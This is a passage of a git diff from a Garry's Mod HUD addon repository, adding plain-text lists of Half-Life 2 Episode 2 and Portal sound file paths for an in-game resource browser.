+vo/episode_1/npc/male01/cit_thesearesomuchfun.wav +vo/episode_1/npc/male01/cit_theyfoundus.wav +vo/episode_1/npc/male01/cit_thisway.wav +vo/episode_1/npc/male01/cit_twopeople.wav +vo/episode_1/npc/male01/cit_youbet.wav +vo/episode_1/npc/male01/cit_youknowodessa.wav +weapons/alyx_gun/alyx_gun_fire3.wav +weapons/alyx_gun/alyx_gun_fire4.wav +weapons/alyx_gun/alyx_gun_fire5.wav +weapons/alyx_gun/alyx_gun_fire6.wav +weapons/alyx_gun/alyx_shotgun_cock1.wav +weapons/physcannon/superphys_chargeup.wav diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/hl2ep2.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/hl2ep2.txt new file mode 100644 index 0000000..b9ea6a8 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/hl2ep2.txt @@ -0,0 +1,644 @@ +ambient/ambience/WaterLap_loop.wav +ambient/ambience/Wind_Light02_loop.wav +ambient/energy/ion_cannon_shot1.wav +ambient/energy/ion_cannon_shot2.wav +ambient/energy/ion_cannon_shot3.wav +ambient/energy/NewSpark01.wav +ambient/energy/NewSpark02.wav +ambient/energy/NewSpark03.wav +ambient/energy/NewSpark04.wav +ambient/energy/NewSpark05.wav +ambient/energy/NewSpark06.wav +ambient/energy/NewSpark07.wav +ambient/energy/NewSpark08.wav +ambient/energy/NewSpark09.wav +ambient/energy/NewSpark10.wav +ambient/energy/NewSpark11.wav +ambient/energy/powerdown2.wav +ambient/energy/power_off1.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_01_22.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_01_23.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_09_17.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_12_11.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_16_13.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_21_13.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_27_10.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_28_15.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_28_24.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_30_14.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_30_22.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_35_13.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_36_25.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_41_11.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_41_25.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_45_22.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_48_14.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_48_16.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_50_11.wav +ambient/levels/Advisor_Barn/OL07_Advisor_00_53_23.wav +ambient/levels/Advisor_Barn/OL07_Advisor_01_01_15.wav +ambient/levels/Advisor_Barn/OL07_Advisor_01_02_06.wav +ambient/levels/caves/cave_crickets_loop1.wav +ambient/levels/caves/cave_heen_loop1.wav +ambient/levels/caves/cave_howl_loop1.wav +ambient/levels/caves/cave_scree_loop1.wav +ambient/levels/caves/cave_scree_loop2.wav +ambient/levels/caves/dist_growl1.wav +ambient/levels/caves/dist_growl2.wav +ambient/levels/caves/dist_growl3.wav +ambient/levels/caves/dist_growl4.wav +ambient/levels/caves/dist_grub1.wav +ambient/levels/caves/dist_grub2.wav +ambient/levels/caves/dist_grub3.wav +ambient/levels/caves/dist_grub4.wav +ambient/levels/caves/dist_grub5.wav +ambient/levels/caves/OL04_GearEngage.wav +ambient/levels/caves/rumble1.wav +ambient/levels/caves/rumble2.wav +ambient/levels/caves/rumble3.wav +ambient/levels/Dog_v_Strider/DvS_DogFinalFall.wav +ambient/levels/Dog_v_Strider/DvS_DogGrabStrider_00_40_24.wav +ambient/levels/Dog_v_Strider/DvS_DogHitStrider_00_27_16.wav +ambient/levels/Dog_v_Strider/DvS_DogHitStrider_00_34_18.wav +ambient/levels/Dog_v_Strider/DvS_DogJump_00_06_01.wav +ambient/levels/Dog_v_Strider/DvS_DogOnLog_00_03_06.wav +ambient/levels/Dog_v_Strider/DvS_DogRipStrider_00_36_10.wav +ambient/levels/Dog_v_Strider/DvS_DogSlamStrider_00_30_07.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_03_22.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_16_00.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_22_00.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_24_24.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_26_29.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_29_16.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_31_23.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_36_16.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_39_06.wav +ambient/levels/Dog_v_Strider/DvS_DogVoc_00_45_18.wav +ambient/levels/Dog_v_Strider/DvS_Rockslide.wav +ambient/levels/Dog_v_Strider/DvS_StrdrSkew_RockDirt02.wav +ambient/levels/Dog_v_Strider/DvS_StrdrSkew_RockDirt03.wav +ambient/levels/Dog_v_Strider/DvS_StrdrSkew_RockWoodDrt01.wav +ambient/levels/Dog_v_Strider/DvS_StriderBarf01_00_12_16.wav +ambient/levels/Dog_v_Strider/DvS_StriderBarf02_00_13_29.wav +ambient/levels/Dog_v_Strider/DvS_StriderBarf03_00_15_06.wav +ambient/levels/Dog_v_Strider/DvS_StriderFall_00_47_04.wav +ambient/levels/Dog_v_Strider/DvS_StriderVoc_00_23_24.wav +ambient/levels/Dog_v_Strider/DvS_StriderVoc_00_28_21.wav +ambient/levels/Dog_v_Strider/DvS_StriderVoc_00_35_18.wav +ambient/levels/Dog_v_Strider/DvS_StriderVoc_00_41_14.wav +ambient/levels/Dog_v_Strider/DvS_Tree01Explode.wav +ambient/levels/Dog_v_Strider/DvS_TreeCrash_00_10_25.wav +ambient/levels/Dog_v_Strider/OL10a_DogClearRiver.wav +ambient/levels/Dog_v_Strider/OL10a_Dog_Recover.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_02_19.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_02_23.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_04_29.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_05_20.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_05_21.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_07_09.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_07_13.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_17_11.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_17_17.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_23_22.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_25_20.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_32_10.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_34_03.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_38_25.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_48_10.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_00_55_19.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_01_10_29.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_01_15_25.wav +ambient/levels/Finale Segment Conversions/OL12_Finale_01_16_11.wav +ambient/levels/forest/buzz1.wav +ambient/levels/forest/buzz2.wav +ambient/levels/forest/buzz3.wav +ambient/levels/forest/buzz4.wav +ambient/levels/forest/chicka1.wav +ambient/levels/forest/chicka2.wav +ambient/levels/forest/chicka3.wav +ambient/levels/forest/chirp1.wav +ambient/levels/forest/chirp2.wav +ambient/levels/forest/chirp3.wav +ambient/levels/forest/crik1.wav +ambient/levels/forest/crik2.wav +ambient/levels/forest/crik3.wav +ambient/levels/forest/dist_birds1.wav +ambient/levels/forest/dist_birds2.wav +ambient/levels/forest/dist_birds3.wav +ambient/levels/forest/dist_birds4.wav +ambient/levels/forest/dist_birds5.wav +ambient/levels/forest/dist_birds6.wav +ambient/levels/forest/flit1.wav +ambient/levels/forest/frogs_loop1.wav +ambient/levels/forest/peckr1.wav +ambient/levels/forest/peckr2.wav +ambient/levels/forest/squeek1.wav +ambient/levels/forest/squeek2.wav +ambient/levels/forest/squeek3.wav +ambient/levels/forest/treewind1.wav +ambient/levels/forest/treewind2.wav +ambient/levels/forest/treewind3.wav +ambient/levels/forest/treewind4.wav +ambient/levels/gman/GMAN_seg_00_01_03.wav +ambient/levels/gman/GMAN_seg_00_21_05.wav +ambient/levels/gman/GMan_Sgnature_Shrt.wav +ambient/levels/gman/OL02_GMan_Full_00_01_03.wav +ambient/levels/gman/VortHealing _Loop01.wav +ambient/levels/gman/VortHealing_Loop01.wav +ambient/levels/gman/VortHealing_Loop02.wav +ambient/levels/launch/1stFiringWarning.wav +ambient/levels/launch/Debris01.wav +ambient/levels/launch/Debris02.wav +ambient/levels/launch/InteriorTurbulance.wav +ambient/levels/launch/LaunchVoice.wav +ambient/levels/launch/OutsideSiloDoorsOpen.wav +ambient/levels/launch/Rhumble01.wav +ambient/levels/launch/RocketTakeOffBlast.wav +ambient/levels/launch/WarningSFX01_Loop.wav +ambient/levels/launch/WarningSFX02_Loop.wav +ambient/levels/outland/Alyx_HandCrawl_Foley.wav +ambient/levels/outland/BaseAlarmLoop.wav +ambient/levels/outland/cave_siren_loop1.wav +ambient/levels/outland/cave_siren_loop2.wav +ambient/levels/outland/cave_siren_loop3.wav +ambient/levels/outland/cave_siren_loop4.wav +ambient/levels/outland/CombineShieldActivate.wav +ambient/levels/outland/CombineShield_deactivate.wav +ambient/levels/outland/Forklift_Down_Up_Loop.wav +ambient/levels/outland/ForkLift_Start.wav +ambient/levels/outland/ForkLift_Stop.wav +ambient/levels/outland/House_Explosion.wav +ambient/levels/outland/OL01a_ElevatorCar_Fall.wav +ambient/levels/outland/OL01a_Gate_Open.wav +ambient/levels/outland/OL01Portal_Loop_Stage01.wav +ambient/levels/outland/OL01_HunterDoubleStep.wav +ambient/levels/outland/OL01_HunterRollAlyx.wav +ambient/levels/outland/OL01_HunterSighting01.wav +ambient/levels/outland/OL01_HunterSighting02.wav +ambient/levels/outland/OL01_HunterSighting03.wav +ambient/levels/outland/OL01_HunterStep01.wav +ambient/levels/outland/OL01_HunterStep02.wav +ambient/levels/outland/OL01_HunterStep03.wav +ambient/levels/outland/OL01_HunterStep04.wav +ambient/levels/outland/OL01_HunterStep05.wav +ambient/levels/outland/OL01_HunterStep06.wav +ambient/levels/outland/OL01_Hunter_Impact01.wav +ambient/levels/outland/OL01_Hunter_Impacts02.wav +ambient/levels/outland/OL01_Hunter_KickVx.wav +ambient/levels/outland/OL01_Hunter_PostKickVx02.wav +ambient/levels/outland/OL01_Hunter_PreAttackVx.wav +ambient/levels/outland/OL01_Hunter_PreAttackVx02.wav +ambient/levels/outland/OL01_PortalBlast.wav +ambient/levels/outland/OL01_Rock_Crash.wav +ambient/levels/outland/OL01_SledThruFencePart01.wav +ambient/levels/outland/OL01_SledThruFence_Impact.wav +ambient/levels/outland/OL01_Sled_1st_Slip.wav +ambient/levels/outland/OL01_Stab_and_Drag.wav +ambient/levels/outland/OL01_TeleconferenceBegin.wav +ambient/levels/outland/OL01_TeleconferenceEnd.wav +ambient/levels/outland/OL01_TrainBridgeCollapse.wav +ambient/levels/outland/OL01_TrainSplash.wav +ambient/levels/outland/OL01_Vort1stHealAlyx.wav +ambient/levels/outland/OL01_VortFreeGordon.wav +ambient/levels/outland/OL02_VortChant_Loop.wav +ambient/levels/outland/OL02_VortHealAlyxLoop.wav +ambient/levels/outland/OL03BinMoveLoop.wav +ambient/levels/outland/OL03Gatefall_Pt01.wav +ambient/levels/outland/OL03Gatefall_Pt02.wav +ambient/levels/outland/OL03Railcar_Imp01.wav +ambient/levels/outland/OL03Railcar_Imp02.wav +ambient/levels/outland/OL03sled02_pt01.wav +ambient/levels/outland/OL03sled02_pt02.wav +ambient/levels/outland/OL03sled02_pt03.wav +ambient/levels/outland/OL03_2ndLift_FallLoop.wav +ambient/levels/outland/OL03_BinCreak01.wav +ambient/levels/outland/OL03_BinCreak02.wav +ambient/levels/outland/OL03_BinCreak03.wav +ambient/levels/outland/OL03_BinCreak04.wav +ambient/levels/outland/OL03_BinCreak05.wav +ambient/levels/outland/OL03_BinCreak06.wav +ambient/levels/outland/OL03_BinSqueak01_Long.wav +ambient/levels/outland/OL03_BinSqueak01_Med.wav +ambient/levels/outland/OL03_BinSqueak01_short.wav +ambient/levels/outland/OL03_BinSqueak02_Long.wav +ambient/levels/outland/OL03_BinSqueak02_Med.wav +ambient/levels/outland/OL03_BinSqueak02_short.wav +ambient/levels/outland/OL03_BinSqueak03_Long.wav +ambient/levels/outland/OL03_BinSqueak03_Med.wav +ambient/levels/outland/OL03_BinSqueak03_short.wav +ambient/levels/outland/OL03_Lift01_WeightImpact.wav +ambient/levels/outland/OL03_Lift_Creak01.wav +ambient/levels/outland/OL03_Lift_Creak02.wav +ambient/levels/outland/OL03_Lift_Creak03.wav +ambient/levels/outland/OL03_Lift_Creak04.wav +ambient/levels/outland/OL03_Lift_Creak05.wav +ambient/levels/outland/OL03_Lift_Creak06.wav +ambient/levels/outland/OL03_Lift_Creak07.wav +ambient/levels/outland/OL03_Lift_Loop.wav +ambient/levels/outland/OL03_Lift_Loop_mono.wav +ambient/levels/outland/OL03_Lift_Start.wav +ambient/levels/outland/OL03_RailRide.wav +ambient/levels/outland/OL03_ShaftDebrisSplash.wav +ambient/levels/outland/OL03_Shaft_FlameBy.wav +ambient/levels/outland/OL03_Shaft_SledBy.wav +ambient/levels/outland/OL03_SlidingOverhead_Open.wav +ambient/levels/outland/OL04ElevatorGate_UP.wav +ambient/levels/outland/OL04FanSpinLong01.wav +ambient/levels/outland/OL04FanSpinLong02.wav +ambient/levels/outland/OL04FanSpinLong03.wav +ambient/levels/outland/OL04FanSpinLong04.wav +ambient/levels/outland/OL04_GearEngage_Lever.wav +ambient/levels/outland/OL04_GearLoop.wav +ambient/levels/outland/OL04_VortRemoveXtract.wav +ambient/levels/outland/OL04_Vort_Extract.wav +ambient/levels/outland/OL06a_transmission_begin.wav +ambient/levels/outland/OL06BridgeBreak_Pt01.wav +ambient/levels/outland/OL06BridgeBreak_Pt02.wav +ambient/levels/outland/OL06_AdvisorTransmission.wav +ambient/levels/outland/OL06_EndGate_Open.wav +ambient/levels/outland/OL06_GirdersBreak.wav +ambient/levels/outland/OL07AdvisorPod_Reveal.wav +ambient/levels/outland/OL07AdvisorThroughRoof.wav +ambient/levels/outland/OL07Advisor_PodOpen.wav +ambient/levels/outland/OL07_AdvisorBlast01.wav +ambient/levels/outland/OL07_AdvisorBlast02.wav +ambient/levels/outland/OL07_AdvisorBlast03.wav +ambient/levels/outland/OL07_AdvisorBlast04.wav +ambient/levels/outland/OL07_AdvisorBlast05.wav +ambient/levels/outland/OL07_AdvisorBlast06.wav +ambient/levels/outland/OL07_BodyOffConsole.wav +ambient/levels/outland/OL09_BigGunDestroy.wav +ambient/levels/outland/OL09_GunGrate_Open.wav +ambient/levels/outland/OL0Sled01.wav +ambient/levels/outland/OL10a_DogLiftGate.wav +ambient/levels/outland/OL10a_Strider_Reveal.wav +ambient/levels/outland/OL11BlastDoor_Open.wav +ambient/levels/outland/OL11SiloDoor_End_Cl.wav +ambient/levels/outland/OL11SiloDoor_End_Op.wav +ambient/levels/outland/OL11SiloDoor_Loop_Cl.wav +ambient/levels/outland/OL11SiloDoor_Loop_Op.wav +ambient/levels/outland/OL11SiloDoor_Start_Cl.wav +ambient/levels/outland/OL11SiloDoor_Start_Op.wav +ambient/levels/outland/OL11_BlastDoorLatch.wav +ambient/levels/outland/OL11_BlastDoor_Close.wav +ambient/levels/outland/OL11_OverheadDoor_Open.wav +ambient/levels/outland/OL11_Welding_Loop.wav +ambient/levels/outland/OL12a_LaunchSwitch_Open.wav +ambient/levels/outland/OL12a_LaunchSwitch_Push.wav +ambient/levels/outland/OL12a_Overhead_Slider_open.wav +ambient/levels/outland/OL12a_PortalClose.wav +ambient/levels/outland/OL12a_SliderGate_Close.wav +ambient/levels/outland/OL12a_SliderGate_Open.wav +ambient/levels/outland/OL12ChainLinkOpen.wav +ambient/levels/outland/OL12_BaseExplosion.wav +ambient/levels/outland/OL12_LodgeExplode.wav +ambient/levels/outland/OL12_Sawmill_Destroy.wav +ambient/levels/outland/StalactiteHit01.wav +ambient/levels/outland/StalactiteHit02.wav +ambient/levels/outland/StalactiteHit03.wav +ambient/levels/outland/StriderBusterArm02.wav +ambient/levels/outland/StriderbusterIdle_loop.wav +ambient/levels/outland/webdoor_break1.wav +ambient/levels/outland/webdoor_break4.wav +ambient/levels/outland/webdoor_hit3.wav +ambient/levels/outland/webdoor_hit4.wav +commentary/ep2-comment001.wav +commentary/ep2-comment002.wav +commentary/ep2-comment003.wav +commentary/ep2-comment004.wav +commentary/ep2-comment005.wav +commentary/ep2-comment006.wav +commentary/ep2-comment007.wav +commentary/ep2-comment008.wav +commentary/ep2-comment010.wav +commentary/ep2-comment011.wav +commentary/ep2-comment012.wav +commentary/ep2-comment013.wav +commentary/ep2-comment014.wav +commentary/ep2-comment015.wav +commentary/ep2-comment016.wav +commentary/ep2-comment017.wav +commentary/ep2-comment019.wav +commentary/ep2-comment020.wav +commentary/ep2-comment022.wav +commentary/ep2-comment024.wav +commentary/ep2-comment028.wav +commentary/ep2-comment029.wav +commentary/ep2-comment031.wav +commentary/ep2-comment032.wav +commentary/ep2-comment033.wav +commentary/ep2-comment034.wav +commentary/ep2-comment037.wav +commentary/ep2-comment041.wav +commentary/ep2-comment042.wav +commentary/ep2-comment045.wav +commentary/ep2-comment048.wav +commentary/ep2-comment050.wav +commentary/ep2-comment054.wav +commentary/ep2-comment055.wav +commentary/ep2-comment057.wav +commentary/ep2-comment058.wav +commentary/ep2-comment060.wav +commentary/ep2-comment064.wav +commentary/ep2-comment066.wav +commentary/ep2-comment067.wav +commentary/ep2-comment068.wav +commentary/ep2-comment069.wav +commentary/ep2-comment071.wav +commentary/ep2-comment072.wav +commentary/ep2-comment074.wav +commentary/ep2-comment075.wav +commentary/ep2-comment076.wav +commentary/ep2-comment077.wav +commentary/ep2-comment079.wav +commentary/ep2-comment081.wav +commentary/ep2-comment082.wav +commentary/ep2-comment084.wav +commentary/ep2-comment085.wav +commentary/ep2-comment086.wav +commentary/ep2-comment088.wav +commentary/ep2-comment089.wav +commentary/ep2-comment090.wav +commentary/ep2-comment091.wav +commentary/ep2-comment094.wav +commentary/ep2-comment095.wav +commentary/ep2-comment097.wav +commentary/ep2-comment099.wav +commentary/ep2-comment104.wav +commentary/ep2-comment105.wav +commentary/ep2-comment109.wav +commentary/ep2-comment110.wav +commentary/ep2-comment111.wav +commentary/ep2-comment112.wav +commentary/ep2-comment114.wav +commentary/ep2-comment116.wav +commentary/ep2-comment117.wav +commentary/ep2-comment118.wav +commentary/ep2-comment119.wav +commentary/ep2-comment121.wav +commentary/ep2-comment122.wav +commentary/ep2-comment124.wav +commentary/ep2-comment125.wav +commentary/ep2-comment126.wav +commentary/ep2-comment127.wav +commentary/ep2-comment129.wav +commentary/ep2-comment130.wav +commentary/ep2-comment132.wav +commentary/ep2-comment134.wav +commentary/ep2-comment140.wav +commentary/ep2-comment141.wav +commentary/ep2-comment143.wav +commentary/ep2-comment147.wav +commentary/ep2-comment149.wav +commentary/ep2-comment150.wav +commentary/ep2-comment151.wav +commentary/ep2-comment155.wav +commentary/ep2-comment156.wav +commentary/ep2-comment157.wav +commentary/ep2-comment158.wav +commentary/ep2-comment159.wav +commentary/ep2-comment160.wav +commentary/ep2-comment161.wav +commentary/ep2-comment162.wav +commentary/ep2-comment166.wav +commentary/ep2-comment167.wav +commentary/ep2-comment168.wav +commentary/ep2-comment169.wav +commentary/ep2-comment172.wav +commentary/ep2-comment176.wav +commentary/ep2-comment177.wav +commentary/ep2-comment180.wav +commentary/ep2-comment181.wav +commentary/ep2-comment182.wav +commentary/ep2-comment186.wav +commentary/ep2-comment187.wav +commentary/ep2-comment189.wav +commentary/ep2-comment191.wav +commentary/ep2-comment192.wav +commentary/ep2-comment194.wav +commentary/ep2-comment195.wav +commentary/ep2-comment196.wav +commentary/ep2-comment197.wav +commentary/ep2-comment200.wav +commentary/ep2-comment201.wav +commentary/ep2-comment202.wav +commentary/ep2-comment205.wav +commentary/ep2-comment206.wav +commentary/ep2-comment207.wav +commentary/ep2-comment208.wav +commentary/ep2-comment209.wav +commentary/ep2-comment215.wav +commentary/ep2-comment216.wav +commentary/ep2-comment217.wav +commentary/ep2-comment219.wav +commentary/ep2-comment221.wav +commentary/ep2-comment223.wav +commentary/ep2-comment225.wav +commentary/ep2-comment228.wav +commentary/ep2-comment229.wav +commentary/ep2-comment230.wav +commentary/ep2-comment233.wav +commentary/ep2-comment234.wav +commentary/ep2-comment235.wav +commentary/ep2-comment236.wav +commentary/ep2-comment237.wav +commentary/ep2-comment238.wav +commentary/ep2-comment239.wav +commentary/ep2-comment240.wav +commentary/ep2-comment241.wav +commentary/ep2-comment242.wav +commentary/ep2-comment243.wav +commentary/ep2-comment244.wav +commentary/ep2-comment245.wav +commentary/ep2-comment246.wav +commentary/ep2-comment247.wav +commentary/ep2-comment248.wav +commentary/ep2-comment250.wav +commentary/ep2-comment251.wav +commentary/ep2-comment252.wav +commentary/ep2-comment253.wav +commentary/ep2-comment254.wav +foley/Alyx_Hug_Eli.wav +foley/Alyx_Pat_Eli.wav +foley/ALYX_Sit_On_Couch.wav +foley/ELI_Fall_Against_table.wav +foley/ELI_Grab_Frame.wav +foley/ELI_Hand_Pat.wav +foley/ELI_Place_Frame.wav +foley/ELI_Sit_On_Couch.wav +foley/Mag_Hands_together.wav +foley/Vort_Beckon_2x.wav +music/VLVX_song0.mp3 +music/VLVX_Song15.mp3 +music/VLVX_song20.mp3 +music/VLVX_song22.mp3 +music/VLVX_song23.mp3 +music/VLVX_song23ambient.mp3 +music/VLVX_song24.mp3 +music/VLVX_song25.mp3 +music/VLVX_Song26.mp3 +music/VLVX_song27.mp3 +music/VLVX_song28.mp3 +music/VLVX_song3.mp3 +music/VLVX_song9.mp3 +npc/advisor/advisor_blast1.wav +npc/advisor/advisor_blast6.wav +npc/advisor/advisor_scream.wav +npc/antlion/antlion_burst1.wav +npc/antlion/antlion_burst2.wav +npc/antlion/antlion_poisonball1.wav +npc/antlion/antlion_poisonball2.wav +npc/antlion/antlion_preburst_scream1.wav +npc/antlion/antlion_preburst_scream2.wav +npc/antlion/antlion_preburst_scream_uw1.wav +npc/antlion/antlion_preburst_scream_uw2.wav +npc/antlion/antlion_shoot1.wav +npc/antlion/antlion_shoot2.wav +npc/antlion/antlion_shoot3.wav +npc/antlion_grub/agrub_alert1.wav +npc/antlion_grub/agrub_alert2.wav +npc/antlion_grub/agrub_alert3.wav +npc/antlion_grub/agrub_die1.wav +npc/antlion_grub/agrub_die2.wav +npc/antlion_grub/agrub_idle1.wav +npc/antlion_grub/agrub_idle3.wav +npc/antlion_grub/agrub_idle6.wav +npc/antlion_grub/agrub_idle8.wav +npc/antlion_grub/agrub_squish1.wav +npc/antlion_grub/agrub_squish2.wav +npc/antlion_grub/agrub_squish3.wav +npc/antlion_grub/agrub_stimulated1.wav +npc/antlion_grub/agrub_stimulated2.wav +npc/antlion_grub/agrub_stimulated3.wav +npc/antlion_guard/antlion_guard_pain1.wav +npc/antlion_guard/antlion_guard_pain2.wav +npc/antlion_guard/antlion_guard_shellcrack1.wav +npc/antlion_guard/antlion_guard_shellcrack2.wav +npc/attack_helicopter/aheli_crashing_loop1.wav +npc/attack_helicopter/aheli_mine_captured_loop1.wav +npc/fast_zombie/car_scream1.wav +npc/fast_zombie/Zombie_On_car_01.wav +npc/fast_zombie/Zombie_On_car_02.wav +npc/fast_zombie/Zombie_On_car_03.wav +npc/fast_zombie/Zombie_On_car_04.wav +npc/ministrider/body_medium_impact_hard1.wav +npc/ministrider/body_medium_impact_hard2.wav +npc/ministrider/body_medium_impact_hard3.wav +npc/ministrider/body_medium_impact_hard4.wav +npc/ministrider/body_medium_impact_hard5.wav +npc/ministrider/body_medium_impact_hard6.wav +npc/ministrider/flechetteLtoR01.wav +npc/ministrider/flechetteLtoR02.wav +npc/ministrider/flechetteLtoR03.wav +npc/ministrider/flechetteLtoR04.wav +npc/ministrider/flechette_explode1.wav +npc/ministrider/flechette_explode2.wav +npc/ministrider/flechette_explode3.wav +npc/ministrider/flechette_flesh_impact1.wav +npc/ministrider/flechette_flesh_impact2.wav +npc/ministrider/flechette_flesh_impact3.wav +npc/ministrider/flechette_flesh_impact4.wav +npc/ministrider/flechette_impact_stick1.wav +npc/ministrider/flechette_impact_stick2.wav +npc/ministrider/flechette_impact_stick3.wav +npc/ministrider/flechette_impact_stick4.wav +npc/ministrider/flechette_impact_stick5.wav +npc/ministrider/hunter_alert1.wav +npc/ministrider/hunter_alert2.wav +npc/ministrider/hunter_alert3.wav +npc/ministrider/hunter_angry1.wav +npc/ministrider/hunter_angry2.wav +npc/ministrider/hunter_angry3.wav +npc/ministrider/hunter_charge3.wav +npc/ministrider/hunter_charge4.wav +npc/ministrider/hunter_defendstrider1.wav +npc/ministrider/hunter_defendstrider2.wav +npc/ministrider/hunter_defendstrider3.wav +npc/ministrider/hunter_die2.wav +npc/ministrider/hunter_die3.wav +npc/ministrider/hunter_fire_loop3.wav +npc/ministrider/hunter_flank_announce1.wav +npc/ministrider/hunter_flank_announce2.wav +npc/ministrider/hunter_flechette_preexplode1.wav +npc/ministrider/hunter_flechette_preexplode2.wav +npc/ministrider/hunter_flechette_preexplode3.wav +npc/ministrider/hunter_foundenemy1.wav +npc/ministrider/hunter_foundenemy2.wav +npc/ministrider/hunter_foundenemy3.wav +npc/ministrider/hunter_foundenemy_ack1.wav +npc/ministrider/hunter_foundenemy_ack2.wav +npc/ministrider/hunter_foundenemy_ack3.wav +npc/ministrider/hunter_idle1.wav +npc/ministrider/hunter_idle2.wav +npc/ministrider/hunter_idle3.wav +npc/ministrider/hunter_laugh1.wav +npc/ministrider/hunter_laugh2.wav +npc/ministrider/hunter_laugh3.wav +npc/ministrider/hunter_laugh4.wav +npc/ministrider/hunter_laugh5.wav +npc/ministrider/hunter_pain2.wav +npc/ministrider/hunter_pain4.wav +npc/ministrider/hunter_prestrike1.wav +npc/ministrider/hunter_scan1.wav +npc/ministrider/hunter_scan2.wav +npc/ministrider/hunter_scan3.wav +npc/ministrider/hunter_scan4.wav +npc/ministrider/ministrider_fire1.wav +npc/ministrider/ministrider_footstep1.wav +npc/ministrider/ministrider_footstep2.wav +npc/ministrider/ministrider_footstep3.wav +npc/ministrider/ministrider_footstep4.wav +npc/ministrider/ministrider_footstep5.wav +npc/ministrider/ministrider_preflechette.wav +npc/ministrider/ministrider_skewer1.wav +npc/strider/strider_step1.wav +npc/strider/strider_step2.wav +npc/strider/strider_step3.wav +npc/strider/strider_step4.wav +npc/strider/strider_step5.wav +npc/strider/strider_step6.wav +npc/turret_floor/detonate.wav +npc/vort/attack_shoot.wav +npc/vort/OL02DblChant02.wav +npc/vort/OL02SingleChant01.wav +npc/vort/OL02SingleChant02.wav +npc/vort/OL02SingleChant03.wav +npc/vort/VortHealSingle_Loop.wav +npc/vort/vort_attack_shoot1.wav +npc/vort/vort_attack_shoot2.wav +npc/vort/vort_attack_shoot3.wav +npc/vort/vort_attack_shoot4.wav +npc/vort/vort_dispell.wav +npc/vort/vort_explode1.wav +npc/vort/vort_explode2.wav +npc/vort/vort_foot1.wav +npc/vort/vort_foot2.wav +npc/vort/vort_foot3.wav +npc/vort/vort_foot4.wav +vehicles/junker/Alyx_Enter_Driver.wav +vehicles/junker/jnk_first.wav +vehicles/junker/jnk_firstgear_rev_loop1.wav +vehicles/junker/jnk_fourth_cruise_loop2.wav +vehicles/junker/jnk_idle_loop1.wav +vehicles/junker/jnk_rev_short_loop1.wav +vehicles/junker/jnk_second.wav +vehicles/junker/jnk_start_loop1.wav +vehicles/junker/jnk_stop1.wav +vehicles/junker/jnk_third.wav +vehicles/junker/jnk_throttle_off_fast_loop1.wav +vehicles/junker/jnk_throttle_off_slow_loop2.wav +vehicles/junker/jnk_turbo_on_loop1.wav +vehicles/junker/radar_ping_friendly1.wav +vehicles/junker/skid_lowfriction_nostartdelay.wav +vehicles/junker/skid_normalfriction_nostartdelay.wav +vo/npc/vortigaunt/alert_antlions.wav +vo/outland_01/intro/OL01_VortCall01.wav +vo/outland_01/intro/OL01_VortCall02c.wav +vo/outland_01/intro/OL01_VortResp01.wav +vo/outland_01/intro/OL01_VortResp04.wav +vo/outland_02/sheckley_cover12.wav +vo/outland_02/sheckley_cover24.wav +weapons/pistol/pistol_reload1.wav +weapons/strider_buster/OL12_StickyBombCreator.wav +weapons/strider_buster/Strider_Buster_detonate.wav +weapons/strider_buster/Strider_Buster_stick1.wav diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/portal.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/portal.txt new file mode 100644 index 0000000..86df594 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/portal.txt @@ -0,0 +1,199 @@ +ambient/dinosaur1.wav +ambient/dinosaur10.wav +ambient/dinosaur11.wav +ambient/dinosaur12.wav +ambient/dinosaur13.wav +ambient/dinosaur14.wav +ambient/dinosaur15.wav 